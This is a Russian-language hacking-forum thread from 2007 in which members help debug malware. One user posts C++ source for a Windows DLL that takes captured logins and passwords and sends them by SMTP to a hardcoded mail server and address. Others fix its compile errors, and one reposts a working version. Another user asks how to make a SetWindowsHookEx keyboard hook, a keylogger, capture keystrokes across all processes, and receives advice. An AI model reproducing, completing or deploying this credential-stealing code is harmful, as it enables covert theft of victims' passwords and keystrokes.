
13.12.2007, 02:01
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
С нами:
9949406
Репутация:
143
|
|
ну в общем вот borland мне выдает
C:\Borland\BCC55\Bin>bcc32.exe dll.cpp
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
dll.cpp:
Error E2209 dll.cpp 3: Unable to open include file 'stdafx.h'
Error E2209 dll.cpp 4: Unable to open include file 'winsock2.h'
Error E2209 dll.cpp 5: Unable to open include file 'stdlib.h'
Error E2209 dll.cpp 6: Unable to open include file 'stdio.h'
Error E2141 dll.cpp 27: Declaration syntax error
*** 5 errors in Compile ***
C:\Borland\BCC55\Bin>
lcc выдает
C:\lcc\bin>lcc.exe dll.cpp
cpp: dll.cpp:3 Could not find include file "stdafx.h"
Error dll.cpp: 35 undeclared identifier 'true'
Error dll.cpp: 107 undeclared identifier 'false'
Warning dll.cpp: 107 possible usage of false before definition
Error dll.cpp: 120 operands of = have illegal types 'unsigned int' and 'pointer
to void'
Warning dll.cpp: 35 possible usage of true before definition
Warning dll.cpp: 137 no type specified. Defaulting to int
Error dll.cpp: 137 empty declaration
Error dll.cpp: 137 Syntax error; missing semicolon before "C"
Error dll.cpp: 137 unrecognized declaration
6 errors, 4 warnings
C:\lcc\bin>
ну вот в принципе, в программировании на этом языке ваще полный 0 (компилил тока на линухах) только в php чуток
|
|
|

13.12.2007, 02:51
|
|
Участник форума
Регистрация: 11.04.2007
Сообщений: 219
С нами:
10044113
Репутация:
13
|
|
если можна исход покажы...
|
|
|

13.12.2007, 03:30
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
zindi, задача поставлена весьма непонятно... Я её понял как-то так:
Код:
#include <stdio.h>
#include <math.h>
void tabfunc (double x) {
double f_x = log(x) + acos(x);
printf("%f\n", f_x);
}
int main (void) {
tabfunc(0.5);
return 0;
}
SchmeL, такой исходник в борланде надо компилить создавая проект. А вообще показывай исходник... Непонятно откуда у тебя там 'true' и 'false'...
|
|
|

13.12.2007, 10:58
|
|
Новичок
Регистрация: 11.12.2007
Сообщений: 2
С нами:
9692392
Репутация:
0
|
|
Вопрос у меня keylogger ловит только в своём потоке при том что последний параметр ф-и
SetWindowsHookEx(WH_KEYBOARD,KeyProc, hInstance,0 ) Hook оформил в длл. Не могу разобраться как это сделать?
|
|
|

13.12.2007, 11:46
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
С нами:
9949406
Репутация:
143
|
|
groundhog - вот исходник dllки
Код:
// dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#define ACC_COUNT 3
char l[20];
char p[20];
char working=100;
char str[20];
typedef struct
{
char l[30];
char p[30];
char mail[50];
} ACCOUNTS;
ACCOUNTS acci[ACC_COUNT]=
{
{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};
DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
int accNumber=0;
working=0;
while(accNumber<ACC_COUNT)
{
BOOL AllOK=true;
BYTE sBuf[4096];
SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
char *MailMessage[] =
{
"HELO mail.ru\r\n",
"AUTH LOGIN\r\n",
NULL,
NULL,
NULL,
"RCPT TO: xxxxx-xxxx@mail.ru\r\n",
"DATA\r\n",
NULL,
"QUIT\r\n",
NULL
};
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,0),&wsa))
{
working=100;
return 0;
}
MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
strcpy(MailMessage[2],acci[accNumber].l);
strcat(MailMessage[2],"\r\n");
MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
strcpy(MailMessage[3],acci[accNumber].p);
strcat(MailMessage[3],"\r\n");
MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
strcpy(MailMessage[4],acci[accNumber].mail);
strcat(MailMessage[4],"\r\n");
MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
strcpy(MailMessage[7],l);
strcat(MailMessage[7]," - ");
strcat(MailMessage[7],p);
strcat(MailMessage[7],"\r\n\r\n.\r\n");
nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
if(nSMTPServerSocket != INVALID_SOCKET)
{
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
smtp_address.sin_port = htons(25);
nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
sizeof(smtp_address));
if(nConnect)
{
}
else
{
do
{
iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
{
accNumber++;
AllOK=false;
break;
}
iEnd += iLength;
sBuf[iEnd] = '\0';
//MessageBox(0,MailMessage[iMsg],0,MB_OK);
send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
iMsg++;
}
while(MailMessage[iMsg]);
}
closesocket(nSMTPServerSocket);
nSMTPServerSocket=NULL;
}
if(AllOK) break;
}
working=100;
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
return TRUE;
}
extern "C" void CALLBACK proc1(char *str,char *str2)
{
strcpy(l,str);
strcpy(p,str2);
if(working!=0)
{
CreateThread(NULL,0,SendEMail,NULL,0,NULL);
}
}
|
|
|

13.12.2007, 12:31
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
SchmeL, попробуй вместо
напиши
|
|
|

13.12.2007, 12:41
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
Rav, если ты всё правильно сделал, то вызов
SetWindowsHookEx(WH_KEYBOARD, KeyProc, NULL, NULL);
должен хучить сообщения клавиатуры для всех процессов. Обрати внимание что предпоследний параметр NULL. Попробуй, может в этом косяк. Какой результат возвращает функция? Не NULL?
|
|
|

13.12.2007, 13:18
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
С нами:
9949406
Репутация:
143
|
|
groundhog, невышло  попробую всетаки скачать этого монстра Microsoft Visual C++ 2005 Express Edition. на нем попробовать...
|
|
|

13.12.2007, 16:11
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
С нами:
9746420
Репутация:
119
|
|
А ты как вставлял windows.h, вернее куда? Его после winsock2.h надо прописывать
Надо еще добавить
Код:
#pragma comment(lib, "ws2_32")
Компилил в VC++ 6.0.
|
|
|

14.12.2007, 01:08
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
SchmeL, в общем я попробовал, VS6 отлично компилит этот исходник с учётом исправлений, о которых тебе сказали:
Код:
// dll.cpp : Defines the entry point for the DLL application.
//
#pragma comment(lib, "ws2_32")
//#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#define ACC_COUNT 3
char l[20];
char p[20];
char working=100;
char str[20];
typedef struct
{
char l[30];
char p[30];
char mail[50];
} ACCOUNTS;
ACCOUNTS acci[ACC_COUNT]=
{
{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};
DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
int accNumber=0;
working=0;
while(accNumber<ACC_COUNT)
{
BOOL AllOK=true;
BYTE sBuf[4096];
SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
char *MailMessage[] =
{
"HELO mail.ru\r\n",
"AUTH LOGIN\r\n",
NULL,
NULL,
NULL,
"RCPT TO: xxxxx-xxxx@mail.ru\r\n",
"DATA\r\n",
NULL,
"QUIT\r\n",
NULL
};
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,0),&wsa))
{
working=100;
return 0;
}
MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
strcpy(MailMessage[2],acci[accNumber].l);
strcat(MailMessage[2],"\r\n");
MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
strcpy(MailMessage[3],acci[accNumber].p);
strcat(MailMessage[3],"\r\n");
MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
strcpy(MailMessage[4],acci[accNumber].mail);
strcat(MailMessage[4],"\r\n");
MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
strcpy(MailMessage[7],l);
strcat(MailMessage[7]," - ");
strcat(MailMessage[7],p);
strcat(MailMessage[7],"\r\n\r\n.\r\n");
nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
if(nSMTPServerSocket != INVALID_SOCKET)
{
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
smtp_address.sin_port = htons(25);
nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
sizeof(smtp_address));
if(nConnect)
{
}
else
{
do
{
iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
{
accNumber++;
AllOK=false;
break;
}
iEnd += iLength;
sBuf[iEnd] = '\0';
//MessageBox(0,MailMessage[iMsg],0,MB_OK);
send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
iMsg++;
}
while(MailMessage[iMsg]);
}
closesocket(nSMTPServerSocket);
nSMTPServerSocket=NULL;
}
if(AllOK) break;
}
working=100;
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
return TRUE;
}
extern "C" void CALLBACK proc1(char *str,char *str2)
{
strcpy(l,str);
strcpy(p,str2);
if(working!=0)
{
CreateThread(NULL,0,SendEMail,NULL,0,NULL);
}
}
Я надеюсь, ты компиляешь его как Win32 Dynamic Link Library?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|